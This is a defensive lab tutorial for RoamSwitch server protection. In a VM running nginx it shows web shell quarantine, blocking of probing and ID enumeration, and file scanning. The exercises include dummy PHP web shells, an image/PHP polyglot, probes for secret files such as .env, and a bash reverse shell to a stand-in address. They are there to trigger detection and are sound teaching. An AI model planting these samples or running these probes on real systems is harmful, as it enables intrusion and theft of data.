#Where attacks on a web server come in
A public web server is a place anyone outside can talk to. Attacks mostly arrive in four shapes.
| Shape | What happens | Feature that watches |
|---|---|---|
| Plant a web shell | Through a weak upload or similar, PHP that runs commands is written into the public folder | Web shell and malicious code detection |
| Probe the site | Paths that do not exist, or secret files such as .env, are asked for one after another | Enumeration and probing detection (Web access guard) |
| Walk the numbers | Order or receipt numbers are swapped in one by one to pull out other people's data | Enumeration and probing detection (Web access guard), Web gate |
| Slip in a file | A malicious file lands in a mail relay drop or a shared folder | File scan guard |
In this module you run nginx inside a disposable VM and trigger all four shapes with dummies. You watch the detection, quarantine and block happen, then undo them.
The steps in this module change the web server settings and the firewall rules. The web shells are one-line dummies. PHP is not installed, so they never run. Even so, try this in a VM, not on a real host.
#Prepare the practice setup
Install nginx and restart the RoamSwitch daemon (this changes the machine). When the daemon starts, it reads the web server configuration and finds the public folders (document roots).
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y nginx >/dev/null 2>&1
systemctl is-active nginx
sudo systemctl restart roamswitch-server
sleep 30
sudo roamswitch web-rules statusactive
=====================================================
🕸️ Web Application Rules Status
=====================================================
Rule set 2026-11-11 (20 rules)
Installed feed 2026-11-11
Custom rules dir /etc/roamswitch/rules.d
Auto-quarantine level critical
Account response off
Post-detection hook active (passes the checks)
/etc/roamswitch/hooks/post-detection
Locked accounts 0
Following 1 document root:
- /var/www/html/var/www/html was found in the nginx configuration. The rules are the delivered set (2026-11-11) that roamswitch-updater installed when the VM booted. The post-detection hook is one the product puts in place by default. It only appends each detection to /var/log/roamswitch/web-detections.jsonl and sends nothing out.
Next, create an outside source. This host's own addresses and private addresses are never banned. So you give the network namespace outside the documentation addresses 203.0.113.10 and 203.0.113.11. The VM's side is 203.0.113.1.
sudo ip netns add outside
sudo ip link add veth-host type veth peer name veth-out
sudo ip link set veth-out netns outside
sudo ip addr add 203.0.113.1/24 dev veth-host
sudo ip link set veth-host up
sudo ip netns exec outside ip addr add 203.0.113.10/24 dev veth-out
sudo ip netns exec outside ip addr add 203.0.113.11/24 dev veth-out
sudo ip netns exec outside ip link set veth-out up
sudo ip netns exec outside curl -s -o /dev/null -w '%{http_code}\n' http://203.0.113.1/200This traffic stays inside the VM. To undo it, run sudo ip netns del outside.
#Find a planted web shell
Web shell and malicious code detection checks PHP, JavaScript, JSP and ASP files with 20 built-in rules. Each rule describes the shape of a published technique, and none uses regular expressions. There are two ways to find a shell: roamswitch web-scan, which you run by hand, and the daemon, which watches writes to the public folders.
Make a dummy site. shell.php is one line that passes a request value straight to system, and avatar.jpg has PHP after an image marker.
mkdir -p ~/lab-site/uploads && cd ~/lab-site
printf '<?php echo "Hello"; ?>\n' > index.php
printf '<?php system($_GET["c"]); ?>\n' > shell.php
printf 'GIF89a<?php eval(base64_decode($_POST["x"])); ?>\n' > uploads/avatar.jpg
roamswitch web-scan ~/lab-site; echo "exit code: $?"=====================================================
🕸️ Web Application Rules Scan
=====================================================
Rules 2026-11-11 (20 rules) Scanned 3 web files
[CRITICAL] /home/admin/lab-site/shell.php
php-request-exec (WebShell-PHP)
PHP passes a request variable straight into eval/system/exec (the one-line web shell).
→ not touched (dry run; add --quarantine to move files)
[HIGH] /home/admin/lab-site/uploads/avatar.jpg
image-php-polyglot (Web-Polyglot-Image)
An image file contains a PHP open tag and PHP code that executes or decodes: a payload hidden in an image.
→ not touched (dry run; add --quarantine to move files)
Critical/high: 2 Quarantined: 0
exit code: 2By default it only checks and touches no file. The exit code is 0 for nothing found and 2 for a critical or high finding. It makes no network connection.
With --quarantine it moves files into the quarantine vault (root; this changes the machine).
sudo roamswitch web-scan ~/lab-site --quarantine
ls -R ~/lab-site
sudo roamswitch quarantine list [CRITICAL] /home/admin/lab-site/shell.php
php-request-exec (WebShell-PHP)
PHP passes a request variable straight into eval/system/exec (the one-line web shell).
→ quarantined
[HIGH] /home/admin/lab-site/uploads/avatar.jpg
image-php-polyglot (Web-Polyglot-Image)
An image file contains a PHP open tag and PHP code that executes or decodes: a payload hidden in an image.
→ left in place (below the configured quarantine level)
Critical/high: 2 Quarantined: 1
/home/admin/lab-site:
index.php
uploads
/home/admin/lab-site/uploads:
avatar.jpg
=====================================================
🦠 Malware Quarantine Vault Status
=====================================================
Vault location: /var/lib/roamswitch/quarantine
Quarantined: 1 file
• [quar-20261112_014215-4c71b408] shell.php (WebShell-PHP: php-request-exec) - 29 bytes
Original path: /home/admin/lab-site/shell.php(Excerpt; the scan heading is left out.) Only the critical shell.php was quarantined. The high avatar.jpg stayed. The level for automatic quarantine is quarantine in /etc/roamswitch/web_rules.conf (off, critical or high; default critical). This keeps a false positive from removing a live site's files.
If it was a false positive, sudo roamswitch quarantine restore <ID> puts the file back where it was. Trying it with the ID above printed "✓ Restored quar-20261112_014215-4c71b408 (without the execute bit)." and shell.php came back. It never overwrites a file of the same name. Files in the vault are readable by root only, and the original location also stays in originalPath in /var/lib/roamswitch/quarantine/metadata.json.
To clean up the practice files, run rm -rf ~/lab-site.
The daemon checks a file as soon as it is written into a public folder. Write a dummy web shell into /var/www/html and look 3 seconds later.
printf '<?php system($_GET["c"]); ?>\n' | sudo tee /var/www/html/info.php >/dev/null
sleep 3
ls /var/www/html
sudo roamswitch notifications | sed -n 4,14pindex.nginx-debian.html
2026-11-12T01:42:16.869237597+00:00
Web rules: 1 file matched
🚨 The web application rules detected a web shell or injected code
Host: ubuntu (IP: 192.168.64.19)
Matched files: 1 (quarantined: 1, left in place: 0)
/var/www/html/info.php (php-request-exec, quarantined, owner root)
Recommended Action: review the files and the access log around the time they were written, and change the credentials of that site (admin panel, FTP, database). Quarantined files are listed in `/var/lib/roamswitch/quarantine/metadata.json`.
Timestamp: 2026-11-12 01:42:16
Process: root / /usr/bin/tee / command: tee /var/www/html/info.php (pid 2000)
Parent processes: sudo ← dash ← tart-guest-agent ← systemd / Service: tart-guest-agent.serviceThree seconds after the write, info.php was already in the vault. You do not have to run anything by hand. The last two lines name the process that wrote the file and its parents. The history is shown in the reader's language (here LANG=en_US.UTF-8), whatever the server's language is.
Upload handlers often receive a file in a temporary folder and mv it into the public folder. A file placed by a move is checked on the spot too.
printf '<?php system($_GET["c"]); ?>\n' > /tmp/up.tmp
sudo mv /tmp/up.tmp /var/www/html/up.php
sleep 3
ls /var/www/html
sudo roamswitch notifications | sed -n 10,14pindex.nginx-debian.html
/var/www/html/up.php (php-request-exec, quarantined, owner admin)
Recommended Action: review the files and the access log around the time they were written, and change the credentials of that site (admin panel, FTP, database). Quarantined files are listed in `/var/lib/roamswitch/quarantine/metadata.json`.
Timestamp: 2026-11-12 01:42:20
Process: root / /usr/bin/mv / command: mv /tmp/up.tmp /var/www/html/up.php (pid 2040) (The process had already exited, so this comes from the exec record made at 2026-11-12 01:42:19.)
Parent processes: sudo ← dash ← tart-guest-agent ← systemd / Service: tart-guest-agent.serviceup.php was quarantined right after the move as well. owner admin is the owner it had when it was created in /tmp. mv exits at once, so the process line notes that it came from the exec record.
Next is the response against the account that planted the shell. A web shell runs inside the web application's process, not in a login. So with account_action=lock, RoamSwitch revokes the login shell and also cuts that account's outbound traffic. Try it with siteuser, the account that owns the site (this changes the machine). web_rules.conf is read when the daemon starts, so a restart is needed.
sudo useradd -m -s /bin/bash siteuser
sudo mkdir -p /var/www/html/site && sudo chown siteuser:siteuser /var/www/html/site
printf 'quarantine=critical\naccount_action=lock\n' | sudo tee /etc/roamswitch/web_rules.conf
sudo systemctl restart roamswitch-server
sleep 8
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'before: %{http_code}\n' https://lafine.net/updates/v1/manifest
printf '<?php system($_GET["c"]); ?>\n' | sudo -u siteuser tee /var/www/html/site/cmd.php >/dev/null
sleep 4
getent passwd siteuser
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'after: %{http_code}\n' https://lafine.net/updates/v1/manifest
sudo roamswitch web-rules locked
sudo nft list table inet roamswitch_web_account_blockquarantine=critical
account_action=lock
before: 200
siteuser:x:1002:1002::/home/siteuser:/usr/sbin/nologin
after: 000
siteuser (uid 1002) shell was /bin/bash, outbound traffic blocked rule php-request-exec (2026-11-12T01:42:33.806729379+00:00)
table inet roamswitch_web_account_block {
chain output {
type filter hook output priority mangle - 10; policy accept;
meta skuid 1002 oifname != "lo" counter packets 8 bytes 560 drop
}
}The shell became /usr/sbin/nologin, and siteuser's outbound traffic, loopback aside, was dropped. This cuts off the shell's way to call back out. Root, accounts with a UID below account_min_uid (default 1000), and accounts with a login session are never touched.
Undo it.
sudo roamswitch web-rules unlock-account siteuser
getent passwd siteuser
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'unlocked: %{http_code}\n' https://lafine.net/updates/v1/manifestRestored the login shell of siteuser to /bin/bash.
Lifted the outbound network block of siteuser.
siteuser:x:1002:1002::/home/siteuser:/bin/bash
unlocked: 200To put the settings back too, run sudo rm /etc/roamswitch/web_rules.conf and then sudo systemctl restart roamswitch-server, and remove the account with sudo userdel -r siteuser.
Rules for your own site go in /etc/roamswitch/rules.d/*.json. Only files owned by root that no one else can write are read. Before placing one, check it with roamswitch web-rules validate <file>, which shows typos and the existing rules it replaces. roamswitch web-rules example rules prints a sample.
#Spot probing in the access log
Enumeration and probing detection (Web access guard) reads the nginx access log four times a second. People open pages by following links. They do not ask for path after path that does not exist, or for secret files such as .env. The guard uses that difference.
Repeated POSTs to a login page (/login, /wp-login.php and so on) are watched the same way (login, notify only by default). The settings file is /etc/roamswitch/web_guard.conf. Without the file the guard runs with mode=warn: it notifies and records, nothing more. Changes take effect within 30 seconds, with no restart.
The notice for someone reading the site structure is, by default, one summary a day. For practice, set recon_notify=immediate so you see it at once (this changes the machine). From 203.0.113.10, ask for 15 paths that do not exist.
printf 'recon_notify=immediate\n' | sudo tee /etc/roamswitch/web_guard.conf
sleep 35
for p in admin backup old test dev staging api/v1 config upload private tmp install setup db logs; do
sudo ip netns exec outside curl -s -o /dev/null -w '%{http_code} ' -A 'python-requests/2.31' http://203.0.113.1/$p
done; echo
sleep 3
sudo roamswitch notifications | grep -m1 -B8 -A4 'path_walk'recon_notify=immediate
404 404 404 404 404 404 404 404 404 404 404 404 404 404 404
2026-11-12T01:43:39.639171824+00:00
Web access: someone is reading the structure of the site
🚨 The access log shows the structure of the site being read (many paths that do not exist, static files fetched in bulk, the API being probed, parameters being tried one after another)
Host: ubuntu (IP: 192.168.64.19)
Endpoint: (paths)
Reason: kept asking for paths that do not exist
Clients matched: 1
203.0.113.10 (path_walk, n=12)
Action: Notification only (nothing was blocked).
Recommended Action: check for paths you did not mean to publish, and for an API that answers without authentication. Search-engine crawlers and monitoring services look the same, so a client you recognise can be excluded with exempt_ua or exempt_path in web_guard.conf.
Timestamp: 2026-11-12 01:43:39The 12th 404 made it path_walk (path_walk_limit, default 12). Once the log holds more than 200 requests and the check finds the setup fit for blocking, the "Action" line also says how to block, followed by a "Check result" line. This practice site has few requests so far, so neither appears.
Now block. Write both mode=block and recon=block, and set the ban to 600 seconds. From 203.0.113.11, ask for secret files and admin paths.
printf 'mode=block\nrecon=block\nrecon_notify=immediate\nban_secs=600\n' | sudo tee /etc/roamswitch/web_guard.conf
sleep 35
for p in .env .git/config .aws/credentials actuator/env phpmyadmin/ wp-config.php.bak server-status .DS_Store; do
sudo ip netns exec outside curl -s --interface 203.0.113.11 -m 3 -o /dev/null -w '%{http_code} ' http://203.0.113.1/$p
done; echo
sudo ip netns exec outside curl -s --interface 203.0.113.10 -m 3 -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
sudo nft list set inet roamswitch_webguard banned4
sudo roamswitch notifications | grep -m1 -B8 -A4 'probe_walk'mode=block
recon=block
recon_notify=immediate
ban_secs=600
404 404 404 404 404 404 404 404
200
table inet roamswitch_webguard {
set banned4 {
type ipv4_addr
flags timeout
elements = { 203.0.113.11 timeout 10m expires 9m59s810ms }
}
}
2026-11-12T01:44:18.796368934+00:00
Web access: someone is reading the structure of the site
🚨 The access log shows the structure of the site being read (many paths that do not exist, static files fetched in bulk, the API being probed, parameters being tried one after another)
Host: ubuntu (IP: 192.168.64.19)
Endpoint: (probe paths)
Reason: asked for many different secret, configuration or admin paths
Clients matched: 1
203.0.113.11 (probe_walk, n=6) banned
Action: Blocked each client from new connections to ports 80/443 for 600 s (shared addresses, the allow list and addresses this host needs are excluded)
Recommended Action: check for paths you did not mean to publish, and for an API that answers without authentication. Search-engine crawlers and monitoring services look the same, so a client you recognise can be excluded with exempt_ua or exempt_path in web_guard.conf.
Timestamp: 2026-11-12 01:44:18The sixth kind made it probe_walk. The eight requests finish in under a second, so all of them got 404, and the ban came right after (banned4 shows 9m59s left). Only new connections from 203.0.113.11 to 80/443 are stopped; 203.0.113.10 still gets 200. See the ban list in the nft set banned4.
Lift the ban.
sudo roamswitch unban 203.0.113.11
sudo ip netns exec outside curl -s --interface 203.0.113.11 -m 3 -o /dev/null -w '%{http_code}\n' http://203.0.113.1/ ✓ Lifted the web guard's ban: 203.0.113.11
200unban lifts bans from both the SSH guard and the web access guard. One line says which ban it lifted. The count of past bans stays. About 2 seconds after the unban, the same probing from the same source is banned again, and that ban is four times as long as the last one.
Blocking works correctly only when the web server sees the visitor's address. Behind a CDN or a reverse proxy, the log shows the proxy's address. Private addresses are not banned by default (ban_private=no), so nothing is stopped. With ban_private=yes, the proxy itself gets banned.
- The visitor's address is visible: write
mode=blockand the shapes you need (recon=block,login=block) - Behind a proxy that does not restore the address: keep
mode=warnand use the notices. Restore the address first, for example with nginx'sreal_ip_header, then decide again - Not sure: run
sudo roamswitch web-guard-check(it changes nothing; you use it in a later exercise)
#Stop walks through identifiers
Many APIs take an order or receipt number in the URL and return its contents. Without a login check, changing the number one at a time pulls out other people's data. Recent attack tools split the work over many IPs, so each IP asks only a little.
RoamSwitch guards this at two layers: Enumeration and probing detection (Web access guard), which reads the access log, and Web gate, which answers each request in front of nginx. The gate gets its questions from nginx's auth_request over a Unix socket. It never goes onto the network.
Run a dummy API inside the VM that returns different contents per number. It uses python's http.server and listens on 127.0.0.1:8080. Numbers 1000 to 1999 return a dummy order.
# 練習用のダミーの注文 API(127.0.0.1:8080)。番号ごとに別の内容を返す。
import http.server, re
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
m = re.fullmatch(r"/api/orders/(\d+)", self.path)
if m and 1000 <= int(m.group(1)) <= 1999:
body = f'{{"order": {m.group(1)}, "name": "dummy-{m.group(1)}"}}\n'.encode()
self.send_response(200)
else:
body = b"not found\n"
self.send_response(404)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
http.server.HTTPServer(("127.0.0.1", 8080), H).serve_forever()(The comment at the top says, in Japanese, that this is a dummy order API for practice.) Add location /api/orders/ { proxy_pass http://127.0.0.1:8080; } inside nginx's server { } to publish the API. Then check whether your site returns contents per number with the check command that comes with Web gate. It asks with no login of any kind, one request a second, ten at most.
sudo systemd-run --unit=lab-orders python3 /home/admin/orders.py
sudo nginx -t && sudo nginx -s reload
sleep 1
roamswitch web-id-check 'http://127.0.0.1/api/orders/{n}' --start 1001 --count 3; echo "exit code: $?"=====================================================
🔎 Unauthenticated number check
=====================================================
Asks for 3 consecutive numbers with GET and no login of any kind (one a second).
1001: HTTP 200, 38 bytes
1002: HTTP 200, 38 bytes
1003: HTTP 200, 38 bytes
⚠️ Different contents came back for different numbers with no login. Other people's data may be readable.
Add a per-user authorization check to this endpoint (return only the logged-in person's own number). Making numbers harder to guess is not a fix on its own.
exit code: 2Exit code 2 means other people's data may be readable. The real fix belongs in the application. The gate is a guard until that fix is in.
web-gate-config prints the nginx configuration for the gate. It changes nothing.
roamswitch web-gate-config /api/orders/ --proxy http://127.0.0.1:8080upstream rs_gate { server unix:/run/roamswitch/webgate.sock; }
# inside the server { } block that serves the site:
location /api/orders/ {
auth_request /_rs_gate;
auth_request_set $rs_action $upstream_http_x_rs_action;
error_page 403 = @rs_denied;
proxy_pass http://127.0.0.1:8080;
}
location @rs_denied {
if ($rs_action = throttle) { add_header Retry-After 60 always; return 429 "slow down\n"; }
return 403 "forbidden\n";
}
location = /_rs_gate {
internal;
proxy_pass http://rs_gate/check;
proxy_pass_request_body off;
proxy_set_header Content-Length "";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Original-URI $request_uri;
proxy_set_header X-RS-UA $http_user_agent;
proxy_connect_timeout 200ms;
proxy_read_timeout 500ms;
# if the gate is down or slow, let the request through: a gate failure must never take the site down
error_page 502 503 504 = @rs_allow;
}
location @rs_allow { return 200; }(Excerpt; the explanatory comments at the top are left out.) Put the upstream line in /etc/nginx/conf.d/rs-gate.conf, and the four location blocks in place of the location /api/orders/ you added earlier. Start the gate and register the never-issued numbers 1900 to 1909 as reserved numbers (canary) (this changes the machine).
sudo systemctl enable --now roamswitch-webgate
sudo nginx -t && sudo nginx -s reload
printf 'mode=block\nrecon=block\nrecon_notify=immediate\nban_secs=600\ncanary=/api/orders/{n}=1900-1909\n' | sudo tee /etc/roamswitch/web_guard.conf
sudo systemctl restart roamswitch-webgate
sleep 35
O="sudo ip netns exec outside curl -s -m 3 --interface 203.0.113.10"
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1001
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1905
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1002{"order": 1001, "name": "dummy-1001"}
200
forbidden
403
forbidden
403(Excerpt.) sleep 35 waits for the daemon to read web_guard.conf again. The gate answered 403 to reserved number 1905 on the first try, so the application never saw it. The gate also answered 403 to the next request, 1002. After that, the guard that reads the access log banned 203.0.113.10 (it shows in banned4 in the next output).
Next, one source asks for many numbers. From 203.0.113.11, ask for 1001 to 1025 in order.
for n in $(seq 1001 1025); do
sudo ip netns exec outside curl -s -m 2 --interface 203.0.113.11 -o /dev/null -w "$n:%{http_code} " http://203.0.113.1/api/orders/$n
done; echo
sleep 2
sudo nft list set inet roamswitch_webguard banned4 | grep elements1001:200 1002:200 1003:200 1004:200 1005:200 1006:200 1007:200 1008:200 1009:200 1010:200 1011:200 1012:200 1013:200 1014:200 1015:200 1016:200 1017:200 1018:200 1019:200 1020:403 1021:403 1022:000 1023:000 1024:000 1025:000
elements = { 203.0.113.10 timeout 10m expires 9m47s524ms, 203.0.113.11 timeout 40m expires 39m49s618ms }At the 20th and 21st distinct numbers the gate answered 403 (many_ids, distinct_limit default 20). After that the source is banned. This is 203.0.113.11's second ban, so it is 40 minutes, four times 600 seconds.
Also check what happens when the gate stops. Lift every ban, then ask for 1905 again from 203.0.113.10, the source the reserved number banned earlier.
sudo roamswitch unban --all
sleep 3
sudo systemctl stop roamswitch-webgate
sudo ip netns exec outside curl -s -m 3 --interface 203.0.113.10 -w ' %{http_code}\n' http://203.0.113.1/api/orders/1905
sudo systemctl start roamswitch-webgate
sleep 1
sudo nft list set inet roamswitch_webguard banned4 | grep elements
sudo roamswitch unban --all ✓ Lifted the web guard's ban: 203.0.113.10
✓ Lifted the web guard's ban: 203.0.113.11
{"order": 1905, "name": "dummy-1905"}
200
elements = { 203.0.113.10 timeout 40m expires 39m58s948ms }
✓ Lifted the web guard's ban: 203.0.113.10With the gate stopped, even a request for a reserved number gets through. Afterwards, the guard that reads the log banned the source again. A source lifted with unban is counted afresh when it probes again. This is its second ban, so it lasts 40 minutes. The last unban lifts that ban. This is by design, so a gate failure never takes the site down. That is why you check that it runs with systemctl is-active roamswitch-webgate and /run/roamswitch/webgate.status.
Finally, check whether blocking fits this setup. web-guard-check reads the access log and the web server configuration and says whether the setup fits blocking. It changes nothing. It needs at least 200 requests, so first send 250 ordinary visits with a browser name from ten sources, 203.0.113.20 to 29.
printf 'recon_notify=immediate\n' | sudo tee /etc/roamswitch/web_guard.conf >/dev/null
sudo roamswitch unban --all >/dev/null
for i in $(seq 20 29); do sudo ip netns exec outside ip addr add 203.0.113.$i/24 dev veth-out; done
sleep 32
for r in $(seq 1 25); do for i in $(seq 20 29); do
sudo ip netns exec outside curl -s -m 2 --interface 203.0.113.$i -o /dev/null -A 'Mozilla/5.0 (X11; Linux x86_64) Firefox/140.0' http://203.0.113.1/
done; done
sudo roamswitch web-guard-check; echo "exit code: $?"=====================================================
🛡 Web guard check: is this environment fit for blocking?
=====================================================
Logs read: 1 (could not read: 0). 304 requests in the last 24 hours from 13 addresses.
Busiest addresses
203.0.113.11 30 ( 10%) 0 browser kinds
203.0.113.20 25 ( 8%) 1 browser kind
203.0.113.21 25 ( 8%) 1 browser kind
203.0.113.22 25 ( 8%) 1 browser kind
203.0.113.23 25 ( 8%) 1 browser kind
From private addresses: 1% (of which with several browsers behind them: 0%) / from shared addresses (the guard never blocks them): 0%
A setting that restores the visitor's address: none found
Current setting: mode=warn, recon=warn
Verdict: fit for blocking. Visitors can be told apart by address.
To block, write mode=block and recon=block in /etc/roamswitch/web_guard.conf (add exempt_ua=googlebot and the like for search engines, and put your own address in whitelist_ips).
exit code: 0The first two lines put web_guard.conf back to mode=warn (the default when unset) and lift the bans. The visitor addresses are visible, so the verdict is "fit". When the setup does not fit, the exit code is 1.
Undo the setup.
sudo rm /etc/roamswitch/web_guard.conf
sudo systemctl disable --now roamswitch-webgate
sudo rm /etc/nginx/conf.d/rs-gate.confAlso put nginx's location back and run sudo nginx -t && sudo nginx -s reload. Stop the API with sudo systemctl stop lab-orders.
Rewriting the nginx configuration in this exercise raised a "Critical Path FIM Tampering Detected" notice, because changes under /etc/nginx are watched too. If you made the change yourself, update the baseline with sudo roamswitch fim update.
#Check mail relay drops and shared folders
Outside the web's public folders, there are other places where files from outside land: a mail relay's drop, a shared folder, an upload area. File scan guard scans the folders listed in clamav_scan_dirs in server.conf on a schedule, with the built-in YARA rules. With clamav_enabled=true, ClamAV's clamdscan scans them too (off by default).
Treat /srv/mailin as a drop folder and add it to the scan (this changes the machine). As the dummy, place a text file with a well-known reverse shell one-liner. It is never run. The target 192.0.2.1 is a documentation address.
sudo mkdir -p /srv/mailin
printf 'hello\n' | sudo tee /srv/mailin/note.txt >/dev/null
printf '# 練習用のダミー。実行しない。\nbash -i >& /dev/tcp/192.0.2.1/4444 0>&1\n' | sudo tee /srv/mailin/run.sh >/dev/null
sudo roamswitch server config set clamav_scan_dirs /srv/mailin
sudo systemctl restart roamswitch-server
sleep 12
ls /srv/mailin
sudo roamswitch notifications | sed -n 4,11p ✓ Server configuration updated and saved. (clamav_scan_dirs = /srv/mailin)
To apply: sudo systemctl restart roamswitch-server or sudo roamswitch server restart
note.txt
2026-11-12T01:46:37.772174747+00:00
File Scan Guard: 1 threat quarantined
Host: ubuntu (IP: 192.168.64.19)
YARA hits: 1, ClamAV hits: 0
Quarantined (original location → vault):
- /srv/mailin/run.sh → /var/lib/roamswitch/quarantine/20261112_014637_d05077e8_run.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload)
Recommended Action: Review `/var/lib/roamswitch/quarantine/metadata.json`.(The first line of the dummy is a Japanese comment: "a practice dummy; do not run".) The daemon scans once right after it starts, then every clamav_scan_interval_secs (default 86400 seconds = 24 hours, minimum 3600). run.sh was quarantined and note.txt stayed. The quarantine line lists the original location, the vault path and the rule that matched.
Undo it.
sudo roamswitch server config set clamav_scan_dirs ""
sudo systemctl restart roamswitch-server
sudo rm -rf /srv/mailin#What it cannot see
Within what was checked on a disposable Ubuntu 24.04 VM with nginx:
- Web rules look for fixed sequences of words. Code that builds strings, such as
'ev'.'al', is not followed. New techniques the rules do not describe are not found - Probe detection relies on the access log alone. Requests the log does not record, and web servers that write no log, are invisible. The gate does not see the response code or the Referer, so it does not look for probing
- When the gate stops, everything passes. The site stays up, but the guard is gone. You have to check that it runs
- A slow attack from one address that stays within normal volume is not stopped. The real fix is a per-user authorization check in the application
- The File Scan Guard treats the EICAR test string as a test marker and does not quarantine it (per a note in the code). That is why the exercise uses a different dummy
- Changes to
web_rules.confandserver.confwait for a daemon restart.web_guard.conftakes effect within 30 seconds
After setting up the web gate, you find roamswitch-webgate stopped. What happens to a request for a reserved number?
Show the explanation
In the exercise, with the gate stopped, even reserved number 1905 got 200. This is by design, so a gate failure never takes the site down. In return, you need to check that the gate runs, with
systemctl is-active roamswitch-webgate.
With default settings you run sudo roamswitch web-scan <folder> --quarantine. It finds one critical and one high item. What happens?
Show the explanation
The level for automatic quarantine is
quarantineinweb_rules.conf, defaultcritical. The account response (account_action) is off by default.
#What to learn next
- SSH brute-force bans and the source allow-list are in Configuring SSH protection
- How much isolation and blocking to leave to automation is in Setting your automatic isolation policy
- Every setting is in the Linux Server operations manual: web shell detection, web access guard and web gate, and File Scan Guard
- Web shell and malicious code detection
- Enumeration and probing detection (Web access guard)
- Web gate
- File scan guard
Related techniques (ATT&CK): T1505.003
Verified on 2026-11-12. Target: Linux 1.17.39. Ran every lab top to bottom on two disposable Ubuntu 24.04 VMs with the published 1.17.39, using nginx and sources in a network namespace, in Japanese and in English (LANG=en_US.UTF-8, server language left at its default).
Command output varies with the product version and the environment. If yours differs, check the version first.